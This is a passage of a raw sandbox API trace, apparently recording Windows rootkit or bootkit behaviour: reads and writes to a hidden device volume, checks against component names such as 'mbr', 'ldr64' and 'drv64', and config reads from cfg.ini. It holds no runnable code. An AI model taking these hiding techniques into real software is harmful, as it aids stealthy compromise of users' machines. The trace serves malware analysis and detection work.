16 [0126.076] KeEnterCriticalRegion () [0126.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.076] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.076] KeLeaveCriticalRegion () [0126.076] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.076] KeEnterCriticalRegion () [0126.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.076] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.076] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.076] KeLeaveCriticalRegion () [0126.076] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.076] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.076] KeEnterCriticalRegion () [0126.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.076] ExFreePoolWithTag (P=0xfffffa800c4f7530, Tag=0x0) [0126.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.076] KeLeaveCriticalRegion () [0126.076] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.076] ReleaseMutex (hMutex=0xf0) returned 1 [0126.076] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.076] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.076] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.076] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.076] KeEnterCriticalRegion () [0126.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.076] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.076] IdePortDispatch () returned 0x103 [0126.076] KeWaitForMutexObject () returned 0x0 [0126.077] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.077] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.077] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.077] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.077] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.077] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.077] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.077] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.077] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.077] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.077] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.077] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.077] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.077] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.077] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.077] KeLeaveCriticalRegion () [0126.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.077] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.077] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.077] KeEnterCriticalRegion () [0126.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.077] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.077] IdePortDispatch () returned 0x103 [0126.077] KeWaitForMutexObject () returned 0x0 [0126.077] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.077] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.077] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.077] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.077] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.077] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.077] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.078] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.078] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.078] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.078] KeLeaveCriticalRegion () [0126.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.078] ReleaseMutex (hMutex=0x100) returned 1 [0126.078] Sleep (dwMilliseconds=0x2bf20) [0126.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e584090, dwHighDateTime=0x1d24fa4)) [0126.084] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.084] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.084] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.084] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.084] KeEnterCriticalRegion () [0126.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.084] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.084] IdePortDispatch () returned 0x103 [0126.084] KeWaitForMutexObject () returned 0x0 [0126.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.084] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.084] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.084] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.084] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.084] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da2d0 [0126.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.084] KeLeaveCriticalRegion () [0126.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.084] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.085] KeEnterCriticalRegion () [0126.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.085] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.085] KeLeaveCriticalRegion () [0126.085] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.085] KeEnterCriticalRegion () [0126.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.085] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.085] IdePortDispatch () returned 0x103 [0126.085] KeWaitForMutexObject () returned 0x0 [0126.085] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.085] KeLeaveCriticalRegion () [0126.085] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.085] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.085] KeEnterCriticalRegion () [0126.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.085] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003480000 [0126.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.085] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.085] IdePortDispatch () returned 0x103 [0126.085] KeWaitForMutexObject () returned 0x0 [0126.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.086] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.086] IdePortDispatch () returned 0x103 [0126.086] KeWaitForMutexObject () returned 0x0 [0126.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.086] KeLeaveCriticalRegion () [0126.086] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.087] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.087] KeEnterCriticalRegion () [0126.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.087] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.087] KeLeaveCriticalRegion () [0126.087] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.087] KeEnterCriticalRegion () [0126.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.087] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.087] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.087] KeLeaveCriticalRegion () [0126.087] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.087] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.087] KeEnterCriticalRegion () [0126.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.087] ExFreePoolWithTag (P=0xfffffa80037da2d0, Tag=0x0) [0126.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.087] KeLeaveCriticalRegion () [0126.087] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.087] ReleaseMutex (hMutex=0xf0) returned 1 [0126.087] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.087] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.087] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.087] KeEnterCriticalRegion () [0126.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.087] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.087] IdePortDispatch () returned 0x103 [0126.088] KeWaitForMutexObject () returned 0x0 [0126.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.088] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.088] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.088] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.088] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.088] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ab8380 [0126.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.088] KeLeaveCriticalRegion () [0126.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.088] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.088] KeEnterCriticalRegion () [0126.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.088] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.088] KeLeaveCriticalRegion () [0126.088] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.088] KeEnterCriticalRegion () [0126.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.088] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.088] IdePortDispatch () returned 0x103 [0126.088] KeWaitForMutexObject () returned 0x0 [0126.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.088] KeLeaveCriticalRegion () [0126.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.088] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.089] KeEnterCriticalRegion () [0126.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.089] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003481000 [0126.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.089] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.089] IdePortDispatch () returned 0x103 [0126.089] KeWaitForMutexObject () returned 0x0 [0126.089] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.089] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.089] IdePortDispatch () returned 0x103 [0126.089] KeWaitForMutexObject () returned 0x0 [0126.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.089] KeLeaveCriticalRegion () [0126.089] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.090] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.090] KeEnterCriticalRegion () [0126.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.090] KeLeaveCriticalRegion () [0126.090] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.090] KeEnterCriticalRegion () [0126.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.090] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.090] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dc3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.090] KeLeaveCriticalRegion () [0126.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.090] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.090] KeEnterCriticalRegion () [0126.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.090] ExFreePoolWithTag (P=0xfffffa8003ab8380, Tag=0x0) [0126.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.090] KeLeaveCriticalRegion () [0126.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.090] ReleaseMutex (hMutex=0xf0) returned 1 [0126.090] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.090] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.090] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.090] KeEnterCriticalRegion () [0126.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.090] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.090] IdePortDispatch () returned 0x103 [0126.090] KeWaitForMutexObject () returned 0x0 [0126.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.091] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.091] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.091] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.091] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.091] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8008a69640 [0126.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.091] KeLeaveCriticalRegion () [0126.091] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.091] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.091] KeEnterCriticalRegion () [0126.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.091] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.091] KeLeaveCriticalRegion () [0126.091] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.091] KeEnterCriticalRegion () [0126.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 